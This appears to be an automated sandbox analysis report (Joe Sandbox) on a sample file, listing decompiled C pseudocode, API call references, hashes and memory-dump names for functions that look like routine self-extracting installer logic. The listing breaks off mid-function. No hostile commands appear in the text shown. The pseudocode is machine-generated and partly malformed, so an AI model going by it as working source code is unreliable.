API String ID: 3273605193-4206010578
Opcode ID: 2d000250fcac8232e402b08febc167d1b3bc335904bf92b82dba539bf00b14c5
Instruction ID: a2bd71e73a5d6698a95c03ab6920b2123968415a0a55d991d4d4ac23e9b9c915
Opcode Fuzzy Hash: 2d000250fcac8232e402b08febc167d1b3bc335904bf92b82dba539bf00b14c5
Instruction Fuzzy Hash: 28015232701218A7D7309A699C08EEB7FBCDB55750F440195FA89D3184DA798A458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 010D3450 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010D3450(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t7;
				void* _t11;
				struct HWND__* _t12;
				int _t22;
				struct HWND__* _t24;

				_t7 = _a8 - 0x10;
				if(_t7 == 0) {
					EndDialog(_a4, 2);
					L11:
					return 1;
				}
				_t11 = _t7 - 0x100;
				if(_t11 == 0) {
					_t12 = GetDesktopWindow();
					_t24 = _a4;
					E010D43D0(_t24, _t12);
					SetWindowTextA(_t24, 0x10d9154);
					SetDlgItemTextA(_t24, 0x838,  *0x10d9404);
					SetForegroundWindow(_t24);
					goto L11;
				}
				if(_t11 == 1) {
					_t22 = _a12;
					if(_t22 < 6) {
						goto L11;
					}
					if(_t22 <= 7) {
						L8:
						EndDialog(_a4, _t22);
						return 1;
					}
					if(_t22 != 0x839) {
						goto L11;
					}
					 *0x10d91dc = 1;
					goto L8;
				}
				return 0;
			}

0x010d3459
0x010d345c
0x010d34d8
0x010d34de
0x00000000
0x010d34e0
0x010d345e
0x010d3463
0x010d349a
0x010d34a0
0x010d34a7
0x010d34b2
0x010d34c4
0x010d34cb
0x00000000
0x010d34cb
0x010d3468
0x010d346e
0x010d3474
0x00000000
0x00000000
0x010d347c
0x010d348c
0x010d3490
0x00000000
0x010d3496
0x010d3484
0x00000000
0x00000000
0x010d3486
0x00000000
0x010d3486
0x00000000

APIs

EndDialog.USER32(?,?), ref: 010D3490
GetDesktopWindow.USER32 ref: 010D349A
SetWindowTextA.USER32(?,010D9154), ref: 010D34B2
SetDlgItemTextA.USER32(?,00000838), ref: 010D34C4
SetForegroundWindow.USER32(?), ref: 010D34CB
EndDialog.USER32(?,00000002), ref: 010D34D8

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID:
API String ID: 852535152-0
Opcode ID: 8fe498293f5a3b04782853b57d54044c5b9b472d99b1da768ace86e6163257c7
Instruction ID: 6eb429f9da4170dcfc1df63f6114b22e6575caddb1e1d2fe0d9256d932e47ac6
Opcode Fuzzy Hash: 8fe498293f5a3b04782853b57d54044c5b9b472d99b1da768ace86e6163257c7
Instruction Fuzzy Hash: 9301B179341324ABD7665F79E80C9AE3AA4FB45750B044014FEC69B984CF3EAA41CB82

Uniqueness

Uniqueness Score: -1.00%

Function 010D28E8 Relevance: 7.6, APIs: 5, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010D28E8(intOrPtr __ecx, char* __edx, intOrPtr* _a8) {
				void* _v8;
				char* _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				void* _v36;
				int _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				long _t68;
				void* _t70;
				void* _t73;
				void* _t79;
				void* _t83;
				void* _t87;
				void* _t88;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t99;
				int _t101;
				void* _t103;
				void* _t106;
				void* _t109;
				void* _t110;

				_v12 = __edx;
				_t99 = __ecx;
				_t106 = 0;
				_v16 = __ecx;
				_t87 = 0;
				_t103 = 0;
				_v20 = 0;
				if( *((intOrPtr*)(__ecx + 0x7c)) <= 0) {
					L19:
					_t106 = 1;
				} else {
					_t62 = 0;
					_v8 = 0;
					while(1) {
						_v24 =  *((intOrPtr*)(_t99 + 0x80));
						if(E010D2773(_v12,  *((intOrPtr*)(_t62 + _t99 +  *((intOrPtr*)(_t99 + 0x80)) + 0xbc)) + _t99 + 0x84) == 0) {
							goto L20;
						}
						_t68 = GetFileVersionInfoSizeA(_v12,  &_v32);
						_v28 = _t68;
						if(_t68 == 0) {
							_t99 = _v16;
							_t70 = _v8 + _t99;
							_t93 = _v24;
							_t87 = _v20;
							if( *((intOrPtr*)(_t70 + _t93 + 0x84)) == _t106 &&  *((intOrPtr*)(_t70 + _t93 + 0x88)) == _t106) {
								goto L18;
							}
						} else {
							_t103 = GlobalAlloc(0x42, _t68);
							if(_t103 != 0) {
								_t73 = GlobalLock(_t103);
								_v36 = _t73;
								if(_t73 != 0) {
									if(GetFileVersionInfoA(_v12, _v32, _v28, _t73) == 0 || VerQueryValueA(_v36, "\\",  &_v44,  &_v40) == 0 || _v40 == 0) {
										L15:
										GlobalUnlock(_t103);
										_t99 = _v16;
										L18:
										_t87 = _t87 + 1;
										_t62 = _v8 + 0x3c;
										_v20 = _t87;
										_v8 = _v8 + 0x3c;
										if(_t87 <  *((intOrPtr*)(_t99 + 0x7c))) {
											continue;
										} else {
											goto L19;
										}
									} else {
										_t79 = _v44;
										_t88 = _t106;
										_v28 =  *((intOrPtr*)(_t79 + 0xc));
										_t101 = _v28;
										_v48 =  *((intOrPtr*)(_t79 + 8));
										_t83 = _v8 + _v16 + _v24 + 0x94;
										_t97 = _v48;
										_v36 = _t83;
										_t109 = _t83;
										do {
											 *((intOrPtr*)(_t110 + _t88 - 0x34)) = E010D2A89(_t97, _t101,  *((intOrPtr*)(_t109 - 0x10)),  *((intOrPtr*)(_t109 - 0xc)));
											 *((intOrPtr*)(_t110 + _t88 - 0x3c)) = E010D2A89(_t97, _t101,  *((intOrPtr*)(_t109 - 4)),  *_t109);
											_t109 = _t109 + 0x18;
											_t88 = _t88 + 4;
										} while (_t88 < 8);
										_t87 = _v20;
										_t106 = 0;
										if(_v56 < 0 || _v64 > 0) {
											if(_v52 < _t106 || _v60 > _t106) {
												GlobalUnlock(_t103);
											} else {
												goto L15;
											}
										} else {
											goto L15;
										}
									}
								}
							}
						}
						goto L20;
					}
				}
				L20:
				 *_a8 = _t87;
				if(_t103 != 0) {
					GlobalFree(_t103);
				}
				return _t106;
			}

0x010d28f1
0x010d28f4
0x010d28f7
0x010d28f9
0x010d28fc
0x010d28ff
0x010d2901
0x010d2907
0x010d2a62
0x010d2a64
0x010d290d
0x010d290d
0x010d290f
0x010d2912
0x010d2920
0x010d2937
0x00000000
0x00000000
0x010d2944
0x010d294a
0x010d294f
0x010d2a2f
0x010d2a32
0x010d2a34
0x010d2a37
0x010d2a41
0x00000000
0x00000000
0x010d2955
0x010d295e
0x010d2962
0x010d2969
0x010d296f
0x010d2974
0x010d298c
0x010d2a20
0x010d2a21
0x010d2a27
0x010d2a4c
0x010d2a4f
0x010d2a50
0x010d2a53
0x010d2a56
0x010d2a5c
0x00000000
0x00000000
0x00000000
0x00000000
0x010d29b2
0x010d29b2
0x010d29b5
0x010d29bd
0x010d29c3
0x010d29cc
0x010d29d5
0x010d29d7
0x010d29da
0x010d29dd
0x010d29df
0x010d29ec
0x010d29f8
0x010d29fc
0x010d29ff
0x010d2a02
0x010d2a07
0x010d2a0a
0x010d2a0f
0x010d2a19
0x010d2a81
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x010d2a0f
0x010d298c
0x010d2974
0x010d2962
0x00000000
0x010d294f
0x010d2912
0x010d2a65
0x010d2a68
0x010d2a6c
0x010d2a6f
0x010d2a6f
0x010d2a7d

APIs

GlobalFree.KERNEL32 ref: 010D2A6F

Part of subcall function 010D2773: CharUpperA.USER32(C2F4ED82,00000000,00000000,00000000), ref: 010D27A8
Part of subcall function 010D2773: CharNextA.USER32(0000054D), ref: 010D27B5
Part of subcall function 010D2773: CharNextA.USER32(00000000), ref: 010D27BC
Part of subcall function 010D2773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010D2829
Part of subcall function 010D2773: RegQueryValueExA.ADVAPI32(?,010D1140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010D2852
Part of subcall function 010D2773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010D2870
Part of subcall function 010D2773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010D28A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,010D3938,?,?,?,?,-00000005), ref: 010D2958
GlobalLock.KERNEL32 ref: 010D2969
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,010D3938,?,?,?,?,-00000005,?), ref: 010D2A21
GlobalUnlock.KERNEL32(00000000,?,?,?,?), ref: 010D2A81

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID:
API String ID: 3949799724-0
Opcode ID: 825103011987a8619dec091d1561dd23bd3f8550c42c478a3723d93ef8c3633a
Instruction ID: acbed8dadf80460c5825b17ac886ccf070cc8a617c83b540e95374752c01ba9a
Opcode Fuzzy Hash: 825103011987a8619dec091d1561dd23bd3f8550c42c478a3723d93ef8c3633a
Instruction Fuzzy Hash: 15512A31E00219DFDB21DF9CC884AAEFBB5FF48701F14816AE985E3211DB359941CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 010D4169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E010D4169(void* __eflags) {
				int _t18;
				void* _t21;

				_t20 = E010D468F("FINISHMSG", 0, 0);
				_t21 = LocalAlloc(0x40, 4 + _t3 * 4);
				if(_t21 != 0) {
					if(E010D468F("FINISHMSG", _t21, _t20) != 0) {
						if(lstrcmpA(_t21, "<None>") == 0) {
							L7:
							return LocalFree(_t21);
						}
						_push(0);
						_push(0x40);
						_push(0);
						_push(_t21);
						_t18 = 0x3e9;
						L6:
						E010D44B9(0, _t18);
						goto L7;
					}
					_push(0);
					_push(0x10);
					_push(0);
					_push(0);
					_t18 = 0x4b1;
					goto L6;
				}
				return E010D44B9(0, 0x4b5, 0, 0, 0x10, 0);
			}

0x010d417d
0x010d418f
0x010d4193
0x010d41b7
0x010d41d3
0x010d41e6
0x00000000
0x010d41e7
0x010d41d5
0x010d41d6
0x010d41d8
0x010d41d9
0x010d41da
0x010d41df
0x010d41e1
0x00000000
0x010d41e1
0x010d41b9
0x010d41ba
0x010d41bc
0x010d41bd
0x010d41be
0x00000000
0x010d41be
0x00000000

APIs

Part of subcall function 010D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010D46A0
Part of subcall function 010D468F: SizeofResource.KERNEL32(00000000,00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46A9
Part of subcall function 010D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010D46C3
Part of subcall function 010D468F: LoadResource.KERNEL32(00000000,00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46CC
Part of subcall function 010D468F: LockResource.KERNEL32(00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46D3
Part of subcall function 010D468F: memcpy_s.MSVCRT ref: 010D46E5
Part of subcall function 010D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,010D30B4), ref: 010D4189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,010D30B4), ref: 010D41E7

Part of subcall function 010D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010D4518
Part of subcall function 010D44B9: MessageBoxA.USER32(?,?,010D9154,00010010), ref: 010D4554

Strings

<None>, xrefs: 010D41C5
FINISHMSG, xrefs: 010D4173, 010D41AB

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: 30e99ee1df7182d1bff3a69ee56f7802e6334c3c87a597f053dce26fe9eab285
Instruction ID: e6133ef353932fbbf77feaba1598881907ad9f0502a061f724bf21aec2f4ad7e
Opcode Fuzzy Hash: 30e99ee1df7182d1bff3a69ee56f7802e6334c3c87a597f053dce26fe9eab285
Instruction Fuzzy Hash: 9F01F4B9701315BBF3251A798C85FBB658EDBD86D5F004025BBC6E29C4DE79CC0141B5

Uniqueness

Uniqueness Score: -1.00%

Function 010D7155 Relevance: 7.6, APIs: 5, Instructions: 51
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010D7155() {
				void* _v8;
				struct _FILETIME _v16;
				signed int _v20;
				union _LARGE_INTEGER _v24;
				signed int _t23;
				signed int _t36;
				signed int _t37;
				signed int _t39;

				_v16.dwLowDateTime = _v16.dwLowDateTime & 0x00000000;
				_v16.dwHighDateTime = _v16.dwHighDateTime & 0x00000000;
				_t23 =  *0x10d8004; // 0xc2f4ed82
				if(_t23 == 0xbb40e64e || (0xffff0000 & _t23) == 0) {
					GetSystemTimeAsFileTime( &_v16);
					_v8 = _v16.dwHighDateTime ^ _v16.dwLowDateTime;
					_v8 = _v8 ^ GetCurrentProcessId();
					_v8 = _v8 ^ GetCurrentThreadId();
					_v8 = GetTickCount() ^ _v8 ^  &_v8;
					QueryPerformanceCounter( &_v24);
					_t36 = _v20 ^ _v24.LowPart ^ _v8;
					_t39 = _t36;
					if(_t36 == 0xbb40e64e || ( *0x10d8004 & 0xffff0000) == 0) {
						_t36 = 0xbb40e64f;
						_t39 = 0xbb40e64f;
					}
					 *0x10d8004 = _t39;
				}
				_t37 =  !_t36;
				 *0x10d8008 = _t37;
				return _t37;
			}

0x010d715d
0x010d7161
0x010d7165
0x010d7178
0x010d7182
0x010d718e
0x010d7197
0x010d71a0
0x010d71b1
0x010d71b8
0x010d71c4
0x010d71c7
0x010d71cb
0x010d71d5
0x010d71da
0x010d71da
0x010d71dc
0x010d71dc
0x010d71e2
0x010d71e5
0x010d71ee

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 010D7182
GetCurrentProcessId.KERNEL32 ref: 010D7191
GetCurrentThreadId.KERNEL32 ref: 010D719A
GetTickCount.KERNEL32 ref: 010D71A3
QueryPerformanceCounter.KERNEL32(?), ref: 010D71B8

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 8afb7afa08838a6561db57db3b765f4a405d62896f1d180afe4eeb068bdd2769
Instruction ID: 7a93c94579ca5d3ff7e55c055cb907c38faf7eb16655a9d5f2a41a49159afed6
Opcode Fuzzy Hash: 8afb7afa08838a6561db57db3b765f4a405d62896f1d180afe4eeb068bdd2769
Instruction Fuzzy Hash: EC112E75E02208DFCB60DFB8D648A9EBBF5FF48355F654996E845E7204E7399A008B40

Uniqueness

Uniqueness Score: -1.00%

Function 010D19E0 Relevance: 7.6, APIs: 5, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E010D19E0(void* __ebx, void* __edi, struct HWND__* _a4, intOrPtr _a8, int _a12, int _a16) {
				signed int _v8;
				char _v520;
				void* __esi;
				signed int _t11;
				void* _t14;
				void* _t23;
				void* _t27;
				void* _t33;
				struct HWND__* _t34;
				signed int _t35;

				_t33 = __edi;
				_t27 = __ebx;
				_t11 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t11 ^ _t35;
				_t34 = _a4;
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t32 = GetDesktopWindow();
					E010D43D0(_t34, _t15);
					_v520 = 0;
					LoadStringA( *0x10d9a3c, _a16,  &_v520, 0x200);
					SetDlgItemTextA(_t34, 0x83f,  &_v520);
					MessageBeep(0xffffffff);
					goto L6;
				} else {
					if(_t14 != 1) {
						L4:
						_t23 = 0;
					} else {
						_t32 = _a12;
						if(_t32 - 0x83d > 1) {
							goto L4;
						} else {
							EndDialog(_t34, _t32);
							L6:
							_t23 = 1;
						}
					}
				}
				return E010D6CE0(_t23, _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x010d19e0
0x010d19e0
0x010d19eb
0x010d19f2
0x010d19f9
0x010d19fc
0x010d1a01
0x010d1a2a
0x010d1a2e
0x010d1a3e
0x010d1a4f
0x010d1a62
0x010d1a6a
0x00000000
0x010d1a03
0x010d1a06
0x010d1a20
0x010d1a20
0x010d1a08
0x010d1a08
0x010d1a14
0x00000000
0x010d1a16
0x010d1a18
0x010d1a70
0x010d1a72
0x010d1a72
0x010d1a14
0x010d1a06
0x010d1a81

APIs

EndDialog.USER32(?,?), ref: 010D1A18
GetDesktopWindow.USER32 ref: 010D1A24
LoadStringA.USER32(?,?,00000200), ref: 010D1A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 010D1A62
MessageBeep.USER32(000000FF), ref: 010D1A6A

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: d7fa130e327a9071497ff925ecb89134af7aa0d6b0df26bfd28b568b04eb8fe7
Instruction ID: ebaf1d70772a39f89c8d54c1f984b33c8d43b2655ecd1da68270f319b5850cab
Opcode Fuzzy Hash: d7fa130e327a9071497ff925ecb89134af7aa0d6b0df26bfd28b568b04eb8fe7
Instruction Fuzzy Hash: 02118E3160121AABDB20EF78D908AAE77F8EB49250F008195F99293185DE359E01CB96

Uniqueness

Uniqueness Score: -1.00%

Function 010D36EE Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 243
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E010D36EE(CHAR* __ecx) {
				signed int _v8;
				char _v268;
				struct _OSVERSIONINFOA _v416;
				signed int _v420;
				signed int _v424;
				CHAR* _v428;
				CHAR* _v432;
				signed int _v436;
				CHAR* _v440;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t72;
				CHAR* _t77;
				CHAR* _t91;
				CHAR* _t94;
				int _t97;
				CHAR* _t98;
				signed char _t99;
				CHAR* _t104;
				signed short _t107;
				signed int _t109;
				short _t113;
				void* _t114;
				signed char _t115;
				short _t119;
				CHAR* _t123;
				CHAR* _t124;
				CHAR* _t129;
				signed int _t131;
				signed int _t132;
				CHAR* _t135;
				CHAR* _t138;
				signed int _t139;

				_t72 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t72 ^ _t139;
				_v416.dwOSVersionInfoSize = 0x94;
				_t115 = __ecx;
				_t135 = 0;
				_v432 = __ecx;
				_t138 = 0;
				if(GetVersionExA( &_v416) != 0) {
					_t133 = _v416.dwMajorVersion;
					_t119 = 2;
					_t77 = _v416.dwPlatformId - 1;
					__eflags = _t77;
					if(_t77 == 0) {
						_t119 = 0;
						__eflags = 1;
						 *0x10d8184 = 1;
						 *0x10d8180 = 1;
						L13:
						 *0x10d9a40 = _t119;
						L14:
						__eflags =  *0x10d8a34 - _t138; // 0x0
						if(__eflags != 0) {
							goto L66;
						}
						__eflags = _t115;
						if(_t115 == 0) {
							goto L66;
						}
						_v428 = _t135;
						__eflags = _t119;
						_t115 = _t115 + ((0 | _t119 != 0x00000000) - 0x00000001 & 0x0000003c) + 4;
						_t11 =  &_v420;
						 *_t11 = _v420 & _t138;
						__eflags =  *_t11;
						_v440 = _t115;
						do {
							_v424 = _t135 * 0x18;
							_v436 = E010D2A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_t135 * 0x18 + _t115)),  *((intOrPtr*)(_t135 * 0x18 + _t115 + 4)));
							_t91 = E010D2A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_v424 + _t115 + 0xc)),  *((intOrPtr*)(_v424 + _t115 + 0x10)));
							_t123 = _v436;
							_t133 = 0x54d;
							__eflags = _t123;
							if(_t123 < 0) {
								L32:
								__eflags = _v420 - 1;
								if(_v420 == 1) {
									_t138 = 0x54c;
									L36:
									__eflags = _t138;
									if(_t138 != 0) {
										L40:
										__eflags = _t138 - _t133;
										if(_t138 == _t133) {
											L30:
											_v420 = _v420 & 0x00000000;
											_t115 = 0;
											_v436 = _v436 & 0x00000000;
											__eflags = _t138 - _t133;
											_t133 = _v432;
											if(__eflags != 0) {
												_t124 = _v440;
											} else {
												_t124 = _t133[0x80] + 0x84 + _t135 * 0x3c + _t133;
												_v420 =  &_v268;
											}
											__eflags = _t124;
											if(_t124 == 0) {
												_t135 = _v436;
											} else {
												_t99 = _t124[0x30];
												_t135 = _t124[0x34] + 0x84 + _t133;
												__eflags = _t99 & 0x00000001;
												if((_t99 & 0x00000001) == 0) {
													asm("sbb ebx, ebx");
													_t115 =  ~(_t99 & 2) & 0x00000101;
												} else {
													_t115 = 0x104;
												}
											}
											__eflags =  *0x10d8a38 & 0x00000001;
											if(( *0x10d8a38 & 0x00000001) != 0) {
												L64:
												_push(0);
												_push(0x30);
												_push(_v420);
												_push(0x10d9154);
												goto L65;
											} else {
												__eflags = _t135;
												if(_t135 == 0) {
													goto L64;
												}
												__eflags =  *_t135;
												if( *_t135 == 0) {
													goto L64;
												}
												MessageBeep(0);
												_t94 = E010D681F(_t115);
												__eflags = _t94;
												if(_t94 == 0) {
													L57:
													0x180030 = 0x30;
													L58:
													_t97 = MessageBoxA(0, _t135, 0x10d9154, 0x00180030 | _t115);
													__eflags = _t115 & 0x00000004;
													if((_t115 & 0x00000004) == 0) {
														__eflags = _t115 & 0x00000001;
														if((_t115 & 0x00000001) == 0) {
															goto L66;
														}
														__eflags = _t97 - 1;
														L62:
														if(__eflags == 0) {
															_t138 = 0;
														}
														goto L66;
													}
													__eflags = _t97 - 6;
													goto L62;
												}
												_t98 = E010D67C9(_t124, _t124);
												__eflags = _t98;
												if(_t98 == 0) {
													goto L57;
												}
												goto L58;
											}
										}
										__eflags = _t138 - 0x54c;
										if(_t138 == 0x54c) {
											goto L30;
										}
										__eflags = _t138;
										if(_t138 == 0) {
											goto L66;
										}
										_t135 = 0;
										__eflags = 0;
										goto L44;
									}
									L37:
									_t129 = _v432;
									__eflags = _t129[0x7c];
									if(_t129[0x7c] == 0) {
										goto L66;
									}
									_t133 =  &_v268;
									_t104 = E010D28E8(_t129,  &_v268, _t129,  &_v428);
									__eflags = _t104;
									if(_t104 != 0) {
										goto L66;
									}
									_t135 = _v428;
									_t133 = 0x54d;
									_t138 = 0x54d;
									goto L40;
								}
								goto L33;
							}
							__eflags = _t91;
							if(_t91 > 0) {
								goto L32;
							}
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t91;
								if(_t91 != 0) {
									goto L37;
								}
								__eflags = (_v416.dwBuildNumber & 0x0000ffff) -  *((intOrPtr*)(_v424 + _t115 + 0x14));
								L27:
								if(__eflags <= 0) {
									goto L37;
								}
								L28:
								__eflags = _t135;
								if(_t135 == 0) {
									goto L33;
								}
								_t138 = 0x54c;
								goto L30;
							}
							__eflags = _t91;
							_t107 = _v416.dwBuildNumber;
							if(_t91 != 0) {
								_t131 = _v424;
								__eflags = (_t107 & 0x0000ffff) -  *((intOrPtr*)(_t131 + _t115 + 8));
								if((_t107 & 0x0000ffff) >=  *((intOrPtr*)(_t131 + _t115 + 8))) {
									goto L37;
								}
								goto L28;
							}
							_t132 = _t107 & 0x0000ffff;
							_t109 = _v424;
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 8));
							if(_t132 <  *((intOrPtr*)(_t109 + _t115 + 8))) {
								goto L28;
							}
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 0x14));
							goto L27;
							L33:
							_t135 =  &(_t135[1]);
							_v428 = _t135;
							_v420 = _t135;
							__eflags = _t135 - 2;
						} while (_t135 < 2);
						goto L36;
					}
					__eflags = _t77 == 1;
					if(_t77 == 1) {
						 *0x10d9a40 = _t119;
						 *0x10d8184 = 1;
						 *0x10d8180 = 1;
						__eflags = _t133 - 3;
						if(_t133 > 3) {
							__eflags = _t133 - 5;
							if(_t133 < 5) {
								goto L14;
							}
							_t113 = 3;
							_t119 = _t113;
							goto L13;
						}
						_t119 = 1;
						_t114 = 3;
						 *0x10d9a40 = 1;
						__eflags = _t133 - _t114;
						if(__eflags < 0) {
							L9:
							 *0x10d8184 = _t135;
							 *0x10d8180 = _t135;
							goto L14;
						}
						if(__eflags != 0) {
							goto L14;
						}
						__eflags = _v416.dwMinorVersion - 0x33;
						if(_v416.dwMinorVersion >= 0x33) {
							goto L14;
						}
						goto L9;
					}
					_t138 = 0x4ca;
					goto L44;
				} else {
					_t138 = 0x4b4;
					L44:
					_push(_t135);
					_push(0x10);
					_push(_t135);
					_push(_t135);
					L65:
					_t133 = _t138;
					E010D44B9(0, _t138);
					L66:
					return E010D6CE0(0 | _t138 == 0x00000000, _t115, _v8 ^ _t139, _t133, _t135, _t138);
				}
			}

0x010d36f9
0x010d3700
0x010d370c
0x010d3716
0x010d3718
0x010d371b
0x010d3721
0x010d372b
0x010d373d
0x010d3745
0x010d3746
0x010d3746
0x010d3749
0x010d37ab
0x010d37ad
0x010d37ae
0x010d37b3
0x010d37b8
0x010d37b8
0x010d37bf
0x010d37bf
0x010d37c5
0x00000000
0x00000000
0x010d37cb
0x010d37cd
0x00000000
0x00000000
0x010d37d5
0x010d37db
0x010d37e8
0x010d37ea
0x010d37ea
0x010d37ea
0x010d37f0
0x010d37f6
0x010d3805
0x010d3817
0x010d382b
0x010d3830
0x010d3836
0x010d383b
0x010d383d
0x010d38eb
0x010d38eb
0x010d38f2
0x010d390c
0x010d3911
0x010d3911
0x010d3913
0x010d394d
0x010d394d
0x010d394f
0x010d38a9
0x010d38a9
0x010d38b0
0x010d38b2
0x010d38b9
0x010d38bb
0x010d38c1
0x010d3975
0x010d38c7
0x010d38de
0x010d38e0
0x010d38e0
0x010d397b
0x010d397d
0x010d39a9
0x010d397f
0x010d3982
0x010d398b
0x010d398d
0x010d398f
0x010d399f
0x010d39a1
0x010d3991
0x010d3991
0x010d3991
0x010d398f
0x010d39af
0x010d39b6
0x010d3a0f
0x010d3a0f
0x010d3a11
0x010d3a13
0x010d3a19
0x00000000
0x010d39b8
0x010d39b8
0x010d39ba
0x00000000
0x00000000
0x010d39bc
0x010d39bf
0x00000000
0x00000000
0x010d39c3
0x010d39c9
0x010d39ce
0x010d39d0
0x010d39e3
